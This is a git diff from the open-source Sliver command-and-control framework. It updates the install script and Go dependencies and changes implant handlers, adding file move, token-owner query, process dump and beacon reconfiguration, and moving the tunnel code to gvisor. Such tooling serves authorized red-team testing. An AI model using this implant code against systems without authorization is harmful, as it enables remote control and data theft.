-SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
-SLIVER_SERVER='sliver-server'
-SLIVER_CLIENT='sliver-client'
+SLIVER_SERVER='sliver-server_linux'
+SLIVER_CLIENT='sliver-client_linux'
 
 
 for URL in $ARTIFACTS
 do
-    if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
+    if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
         echo "Downloading $URL"
         curl --silent -L $URL --output $(basename $URL)
     fi
-    if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
+    if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
         echo "Downloading $URL"
         curl --silent -L $URL --output $(basename $URL)
     fi
 done
 
 echo "Verifying signatures ..."
-gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
-gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
-
-if test -f "/root/$SLIVER_SERVER_ZIP"; then
-    unzip -o /root/$SLIVER_SERVER_ZIP -d /root
-    rm -f /root/$SLIVER_SERVER_ZIP
-else 
-    exit 2
-fi
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
 
 if test -f "/root/$SLIVER_SERVER"; then
-    chmod 755 /root/$SLIVER_SERVER
-    /root/$SLIVER_SERVER unpack --force
+    mv /root/$SLIVER_SERVER /root/sliver-server
+    chmod 755 /root/sliver-server
+    /root/sliver-server unpack --force
 else
     exit 3
 fi
 
-if test -f "/root/$SLIVER_CLIENT_ZIP"; then
-    unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
-    rm -f /root/$SLIVER_CLIENT_ZIP
-else 
-    exit 2
-fi
-
 if test -f "/root/$SLIVER_CLIENT"; then
     chmod 755 /root/$SLIVER_CLIENT 
     cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver

go-assets.sh

@@ -20,8 +20,8 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.17.6"
-GARBLE_VER="1.17.5"
+GO_VER="1.18"
+GARBLE_VER="1.18.0"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"

go.mod

@@ -2,9 +2,6 @@ module github.com/bishopfox/sliver
 
 go 1.17
 
-// fix wgctrl requiring old wireguard
-replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
-
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
 
 require (
@@ -14,7 +11,7 @@ require (
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
-	github.com/Microsoft/go-winio v0.4.16 // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/alecthomas/chroma v0.8.1
 	github.com/cheggaaa/pb/v3 v3.0.5
 	github.com/desertbit/columnize v2.1.0+incompatible
@@ -34,38 +31,38 @@ require (
 	github.com/lesnuages/snitch v0.6.0
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-sqlite3 v1.14.9
+	github.com/mattn/go-sqlite3 v1.14.12
 	github.com/miekg/dns v1.1.35
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pquerna/otp v1.3.0
 	github.com/sergi/go-diff v1.1.0 // indirect
-	github.com/sirupsen/logrus v1.7.0
+	github.com/sirupsen/logrus v1.8.1
 	github.com/spf13/cobra v1.1.1
 	github.com/stretchr/testify v1.7.0
-	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-	golang.org/x/net v0.0.0-20210614182718-04defd469f4e
-	golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
-	golang.org/x/text v0.3.6
-	golang.zx2c4.com/wireguard v0.0.20200121
-	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
-	google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
-	google.golang.org/grpc v1.37.0
-	google.golang.org/protobuf v1.26.0
+	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+	golang.org/x/text v0.3.7
+	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
+	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
+	google.golang.org/protobuf v1.27.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
 	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
 	gorm.io/driver/mysql v1.0.3
 	gorm.io/driver/postgres v1.0.5
 	gorm.io/driver/sqlite v1.1.3
 	gorm.io/gorm v1.21.14
-	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
 )
 
 require (
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
 	github.com/shirou/gopsutil/v3 v3.21.10
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
-	modernc.org/sqlite v1.14.3
+	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
+	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	modernc.org/sqlite v1.16.0
 )
 
 require (
@@ -106,19 +103,19 @@ require (
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.3.0 // indirect
-	golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
+	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.0 // indirect
+	golang.org/x/tools v0.1.9 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
 	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
 	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
 	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.18 // indirect
-	modernc.org/ccgo/v3 v3.12.95 // indirect
-	modernc.org/libc v1.11.104 // indirect
+	modernc.org/cc/v3 v3.35.24 // indirect
+	modernc.org/ccgo/v3 v3.15.18 // indirect
+	modernc.org/libc v1.14.12 // indirect
 	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.5 // indirect
+	modernc.org/memory v1.0.7 // indirect
 	modernc.org/opt v0.1.1 // indirect
 	modernc.org/strutil v1.1.1 // indirect
 	modernc.org/token v1.0.0 // indirect

implant/go-mod

@@ -1,24 +1,24 @@
 module github.com/bishopfox/sliver
 
-go 1.16
+go 1.17
 
 require (
-	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-	github.com/Microsoft/go-winio v0.5.0 // indirect
-	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-	github.com/gofrs/uuid v4.0.0+incompatible
-	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
-	github.com/lesnuages/go-winio v0.4.19
-	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/pquerna/otp v1.3.0
-	github.com/stretchr/testify v1.7.0
-	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-	golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
-	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
-	golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
-	golang.zx2c4.com/wireguard/windows v0.5.1
-	google.golang.org/protobuf v1.23.0
-	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
+github.com/Microsoft/go-winio v0.5.0 // indirect
+github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
+github.com/gofrs/uuid v4.0.0+incompatible
+github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
+github.com/lesnuages/go-winio v0.4.19
+github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+github.com/pquerna/otp v1.3.0
+github.com/stretchr/testify v1.7.0
+golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
+golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
+golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
+golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+golang.zx2c4.com/wireguard/windows v0.5.1
+gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+google.golang.org/protobuf v1.23.0
+github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
 )

implant/sliver/cryptography/implant.go

@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
 	return msg, nil
 }
 
-// ECCEncryptToPeer - Encrypt using the server's public key
+// ECCEncryptToPeer - Encrypt using the peer's public key
 func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
 	valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
 	if !valid {
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
 	return ciphertext, nil
 }
 
-// ECCEncryptToPeer - Encrypt using the server's public key
+// ECCDecryptFromPeer - Decrypt a message from a peer
 func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
 	valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
 	if !valid {

implant/sliver/extension/extension_windows.go

@@ -37,15 +37,15 @@ const (
 )
 
 type WindowsExtension struct {
-	id          string
-	data        []byte
-	module      *memmod.Module
-	arch        string
-	init        string
-	onFinish    func([]byte)
-	serverStore bool
+	id       string
+	data     []byte
+	module   *memmod.Module
+	arch     string
+	init     string
+	onFinish func([]byte)
 }
 
+// NewWindowsExtension - Load a new windows extension
 func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
 	return &WindowsExtension{
 		id:   id,
@@ -55,14 +55,17 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
 	}
 }
 
+// GetID - Get the extension ID
 func (w *WindowsExtension) GetID() string {
 	return w.id
 }
 
+// GetArch - Get the extension architecture
 func (w *WindowsExtension) GetArch() string {
 	return w.arch
 }
 
+// Load - Load the extension into memory
 func (w *WindowsExtension) Load() error {
 	var err error
 	if len(w.data) == 0 {
@@ -86,6 +89,7 @@ func (w *WindowsExtension) Load() error {
 	return nil
 }
 
+// Call - Call an extension export
 func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
 	var (
 		argumentsPtr  uintptr

implant/sliver/handlers/handlers.go

@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
 	_, err = os.Stat(target)
 	if err == nil {
 		if (target == "/" || target == "C:\\") && !rmReq.Force {
-			err = errors.New("Cowardly refusing to remove volume root without force")
+			err = errors.New("cowardly refusing to remove volume root without force")
 		}
 	}
 
@@ -178,6 +178,28 @@ func rmHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func mvHandler(data []byte, resp RPCResponse) {
+	mvReq := &sliverpb.MvReq{}
+	err := proto.Unmarshal(data, mvReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	move := &sliverpb.Mv{}
+	err = os.Rename(mvReq.Src, mvReq.Dst)
+	if err != nil {
+		move.Response = &commonpb.Response{
+			Err: err.Error(),
+		}
+	}
+
+	data, err = proto.Marshal(move)
+	resp(data, err)
+}
+
 func mkdirHandler(data []byte, resp RPCResponse) {
 	mkdirReq := &sliverpb.MkdirReq{}
 	err := proto.Unmarshal(data, mkdirReq)
@@ -529,31 +551,30 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
-func reconnectIntervalHandler(data []byte, resp RPCResponse) {
-	reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
-	err := proto.Unmarshal(data, reconnectIntervalReq)
+func reconfigureHandler(data []byte, resp RPCResponse) {
+	reconfigReq := &sliverpb.ReconfigureReq{}
+	err := proto.Unmarshal(data, reconfigReq)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("error decoding message: %v\n", err)
 		// {{end}}
 		return
 	}
-
-	reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
-	// {{if .Config.Debug}}
-	log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
-	// {{end}}
-
-	// Set the reconnect interval value
-	transports.SetReconnectInterval(reconnectInterval)
-
-	recIntervalResp := &sliverpb.ReconnectInterval{}
-	recIntervalResp.Response = &commonpb.Response{}
-	if err != nil {
-		recIntervalResp.Response.Err = err.Error()
+	if reconfigReq.ReconnectInterval != 0 {
+		transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
 	}
 
-	data, err = proto.Marshal(recIntervalResp)
+	// {{if .Config.IsBeacon}}
+	if reconfigReq.BeaconInterval != 0 {
+		transports.SetInterval(reconfigReq.BeaconInterval)
+	}
+	if reconfigReq.BeaconJitter != 0 {
+		transports.SetJitter(reconfigReq.BeaconJitter)
+	}
+	// {{end}}
+
+	reconfigResp := &sliverpb.Reconfigure{}
+	data, err = proto.Marshal(reconfigResp)
 	resp(data, err)
 }
 
@@ -561,6 +582,9 @@ func reconnectIntervalHandler(data []byte, resp RPCResponse) {
 
 func gzipWrite(w io.Writer, data []byte) error {
 	gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
+	if err != nil {
+		return err
+	}
 	defer gw.Close()
 	gw.Write(data)
 	return err

implant/sliver/handlers/handlers_darwin.go

@@ -37,6 +37,7 @@ var (
 		pb.MsgPwdReq:       pwdHandler,
 		pb.MsgRmReq:        rmHandler,
 		pb.MsgMkdirReq:     mkdirHandler,
+		pb.MsgMvReq:        mvHandler,
 		pb.MsgIfconfigReq:  ifconfigHandler,
 		pb.MsgExecuteReq:   executeHandler,
 		pb.MsgEnvReq:       getEnvHandler,
@@ -48,8 +49,8 @@ var (
 
 		pb.MsgSideloadReq: sideloadHandler,
 
-		pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
-		pb.MsgSSHCommandReq:        runSSHCommandHandler,
+		pb.MsgReconfigureReq: reconfigureHandler,
+		pb.MsgSSHCommandReq:  runSSHCommandHandler,
 
 		// Extensions
 		pb.MsgRegisterExtensionReq: registerExtensionHandler,

implant/sliver/handlers/handlers_generic.go

@@ -32,19 +32,20 @@ import (
 
 var (
 	genericHandlers = map[uint32]RPCHandler{
-		sliverpb.MsgPing:                 pingHandler,
-		sliverpb.MsgLsReq:                dirListHandler,
-		sliverpb.MsgDownloadReq:          downloadHandler,
-		sliverpb.MsgUploadReq:            uploadHandler,
-		sliverpb.MsgCdReq:                cdHandler,
-		sliverpb.MsgPwdReq:               pwdHandler,
-		sliverpb.MsgRmReq:                rmHandler,
-		sliverpb.MsgMkdirReq:             mkdirHandler,
-		sliverpb.MsgExecuteReq:           executeHandler,
-		sliverpb.MsgSetEnvReq:            setEnvHandler,
-		sliverpb.MsgEnvReq:               getEnvHandler,
-		sliverpb.MsgUnsetEnvReq:          unsetEnvHandler,
-		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
+		sliverpb.MsgPing:           pingHandler,
+		sliverpb.MsgLsReq:          dirListHandler,
+		sliverpb.MsgDownloadReq:    downloadHandler,
+		sliverpb.MsgUploadReq:      uploadHandler,
+		sliverpb.MsgCdReq:          cdHandler,
+		sliverpb.MsgPwdReq:         pwdHandler,
+		sliverpb.MsgRmReq:          rmHandler,
+		sliverpb.MsgMkdirReq:       mkdirHandler,
+		sliverpb.MsgMvReq:          mvHandler,
+		sliverpb.MsgExecuteReq:     executeHandler,
+		sliverpb.MsgSetEnvReq:      setEnvHandler,
+		sliverpb.MsgEnvReq:         getEnvHandler,
+		sliverpb.MsgUnsetEnvReq:    unsetEnvHandler,
+		sliverpb.MsgReconfigureReq: reconfigureHandler,
 	}
 )
 

implant/sliver/handlers/handlers_linux.go

@@ -34,6 +34,7 @@ var (
 		sliverpb.MsgPwdReq:       pwdHandler,
 		sliverpb.MsgRmReq:        rmHandler,
 		sliverpb.MsgMkdirReq:     mkdirHandler,
+		sliverpb.MsgMvReq:        mvHandler,
 		sliverpb.MsgTaskReq:      taskHandler,
 		sliverpb.MsgIfconfigReq:  ifconfigHandler,
 		sliverpb.MsgExecuteReq:   executeHandler,
@@ -46,8 +47,9 @@ var (
 		sliverpb.MsgNetstatReq:  netstatHandler,
 		sliverpb.MsgSideloadReq: sideloadHandler,
 
-		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
-		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
+		sliverpb.MsgReconfigureReq: reconfigureHandler,
+		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
+		sliverpb.MsgProcessDumpReq: dumpHandler,
 
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific

implant/sliver/handlers/handlers_windows.go

@@ -65,6 +65,7 @@ var (
 		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
 		sliverpb.MsgExecuteTokenReq:          executeTokenHandler,
 		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
+		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
 
 		// Platform specific
 		sliverpb.MsgIfconfigReq:            ifconfigHandler,
@@ -82,17 +83,18 @@ var (
 		sliverpb.MsgRegistryListValuesReq:  regValuesListHandler,
 
 		// Generic
-		sliverpb.MsgPing:                 pingHandler,
-		sliverpb.MsgLsReq:                dirListHandler,
-		sliverpb.MsgDownloadReq:          downloadHandler,
-		sliverpb.MsgUploadReq:            uploadHandler,
-		sliverpb.MsgCdReq:                cdHandler,
-		sliverpb.MsgPwdReq:               pwdHandler,
-		sliverpb.MsgRmReq:                rmHandler,
-		sliverpb.MsgMkdirReq:             mkdirHandler,
-		sliverpb.MsgExecuteReq:           executeHandler,
-		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
-		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
+		sliverpb.MsgPing:           pingHandler,
+		sliverpb.MsgLsReq:          dirListHandler,
+		sliverpb.MsgDownloadReq:    downloadHandler,
+		sliverpb.MsgUploadReq:      uploadHandler,
+		sliverpb.MsgCdReq:          cdHandler,
+		sliverpb.MsgPwdReq:         pwdHandler,
+		sliverpb.MsgRmReq:          rmHandler,
+		sliverpb.MsgMvReq:          mvHandler,
+		sliverpb.MsgMkdirReq:       mkdirHandler,
+		sliverpb.MsgExecuteReq:     executeHandler,
+		sliverpb.MsgReconfigureReq: reconfigureHandler,
+		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
 
 		// Extensions
 		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -176,6 +178,26 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
+	tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
+	err := proto.Unmarshal(data, tokOwnReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	getCT := &sliverpb.CurrentTokenOwner{}
+	owner, err := priv.CurrentTokenOwner()
+	if err != nil {
+		getCT.Response = &commonpb.Response{Err: err.Error()}
+	}
+	getCT.Output = owner
+	data, err = proto.Marshal(getCT)
+	resp(data, err)
+}
+
 func getsystemHandler(data []byte, resp RPCResponse) {
 	getSysReq := &sliverpb.InvokeGetSystemReq{}
 	err := proto.Unmarshal(data, getSysReq)
@@ -602,20 +624,17 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
 
 func registerExtensionHandler(data []byte, resp RPCResponse) {
 	registerReq := &sliverpb.RegisterExtensionReq{}
-
 	err := proto.Unmarshal(data, registerReq)
 	if err != nil {
 		return
 	}
-
 	ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
-	extension.Add(ext)
 	err = ext.Load()
-	registerResp := &sliverpb.RegisterExtension{
-		Response: &commonpb.Response{},
-	}
+	registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
 	if err != nil {
 		registerResp.Response.Err = err.Error()
+	} else {
+		extension.Add(ext)
 	}
 	data, err = proto.Marshal(registerResp)
 	resp(data, err)
@@ -623,15 +642,12 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
 
 func callExtensionHandler(data []byte, resp RPCResponse) {
 	callReq := &sliverpb.CallExtensionReq{}
-
 	err := proto.Unmarshal(data, callReq)
 	if err != nil {
 		return
 	}
 
-	callResp := &sliverpb.CallExtension{
-		Response: &commonpb.Response{},
-	}
+	callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
 	gotOutput := false
 	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
 		gotOutput = true

implant/sliver/handlers/rpc-handlers.go

@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
 }
 
 func screenshotHandler(data []byte, resp RPCResponse) {
-	sc := &sliverpb.Screenshot{}
+	sc := &sliverpb.ScreenshotReq{}
 	err := proto.Unmarshal(data, sc)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
 	// {{if .Config.Debug}}
 	log.Printf("Screenshot Request")
 	// {{end}}
-
-	sc.Data = screen.Screenshot()
-	data, err = proto.Marshal(sc)
+	scRes := &sliverpb.Screenshot{}
+	scRes.Data = screen.Screenshot()
+	data, err = proto.Marshal(scRes)
 
 	resp(data, err)
 }

implant/sliver/handlers/special-handlers.go

@@ -22,6 +22,7 @@ package handlers
 
 import (
 	"os"
+	"time"
 
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -54,6 +55,9 @@ func killHandler(data []byte, _ *transports.Connection) error {
 	// {{if .Config.Debug}}
 	log.Println("Let's exit!")
 	// {{end}}
-	os.Exit(0)
+	go func() {
+		time.Sleep(time.Second)
+		os.Exit(0)
+	}()
 	return nil
 }

implant/sliver/netstack/tun.go

@@ -1,7 +1,6 @@
 /* SPDX-License-Identifier: MIT
  *
  * Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
- * https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
  */
 
 package netstack
@@ -14,7 +13,9 @@ import (
 	"fmt"
 	"io"
 	"net"
+	"net/netip"
 	"os"
+	"regexp"
 	"strconv"
 	"strings"
 	"time"
@@ -22,15 +23,17 @@ import (
 	"golang.zx2c4.com/wireguard/tun"
 
 	"golang.org/x/net/dns/dnsmessage"
-	"inet.af/netstack/tcpip"
-	"inet.af/netstack/tcpip/adapters/gonet"
-	"inet.af/netstack/tcpip/buffer"
-	"inet.af/netstack/tcpip/header"
-	"inet.af/netstack/tcpip/network/ipv4"
-	"inet.af/netstack/tcpip/network/ipv6"
-	"inet.af/netstack/tcpip/stack"
-	"inet.af/netstack/tcpip/transport/tcp"
-	"inet.af/netstack/tcpip/transport/udp"
+	"gvisor.dev/gvisor/pkg/tcpip"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/buffer"
+	"gvisor.dev/gvisor/pkg/tcpip/header"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+	"gvisor.dev/gvisor/pkg/waiter"
 )
 
 type netTun struct {
@@ -39,11 +42,14 @@ type netTun struct {
 	events         chan tun.Event
 	incomingPacket chan buffer.VectorisedView
 	mtu            int
-	dnsServers     []net.IP
+	dnsServers     []netip.Addr
 	hasV4, hasV6   bool
 }
-type endpoint netTun
-type Net netTun
+
+type (
+	endpoint netTun
+	Net      netTun
+)
 
 func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
 	e.dispatcher = dispatcher
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
 
 func (*endpoint) Wait() {}
 
-func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
+func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
 	e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
 	return nil
 }
 
-func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
+func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
+	panic("not implemented")
+}
+
+func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
 	panic("not implemented")
 }
 
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
 func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
 }
 
-func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
+func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
 	opts := stack.Options{
 		NetworkProtocols:   []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
-		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
+		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
 		HandleLocal:        true,
 	}
 	dev := &netTun{
@@ -109,17 +119,23 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
 		return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
 	}
 	for _, ip := range localAddresses {
-		if ip4 := ip.To4(); ip4 != nil {
-			tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
-			if tcpipErr != nil {
-				return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
-			}
+		var protoNumber tcpip.NetworkProtocolNumber
+		if ip.Is4() {
+			protoNumber = ipv4.ProtocolNumber
+		} else if ip.Is6() {
+			protoNumber = ipv6.ProtocolNumber
+		}
+		protoAddr := tcpip.ProtocolAddress{
+			Protocol:          protoNumber,
+			AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
+		}
+		tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
+		if tcpipErr != nil {
+			return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
+		}
+		if ip.Is4() {
 			dev.hasV4 = true
-		} else {
-			tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
-			if tcpipErr != nil {
-				return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
-			}
+		} else if ip.Is6() {
 			dev.hasV6 = true
 		}
 	}
@@ -129,10 +145,6 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
 	if dev.hasV6 {
 		dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
 	}
-	// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
-	// if tcpipErr != nil {
-	// 	return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
-	// }
 
 	dev.events <- tun.EventUp
 	return dev, (*Net)(dev), nil
@@ -195,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
 	return tun.mtu, nil
 }
 
-func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
-	if ip4 := ip.To4(); ip4 != nil {
-		return tcpip.FullAddress{
-			NIC:  1,
-			Addr: tcpip.Address(ip4),
-			Port: uint16(port),
-		}, ipv4.ProtocolNumber
+func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
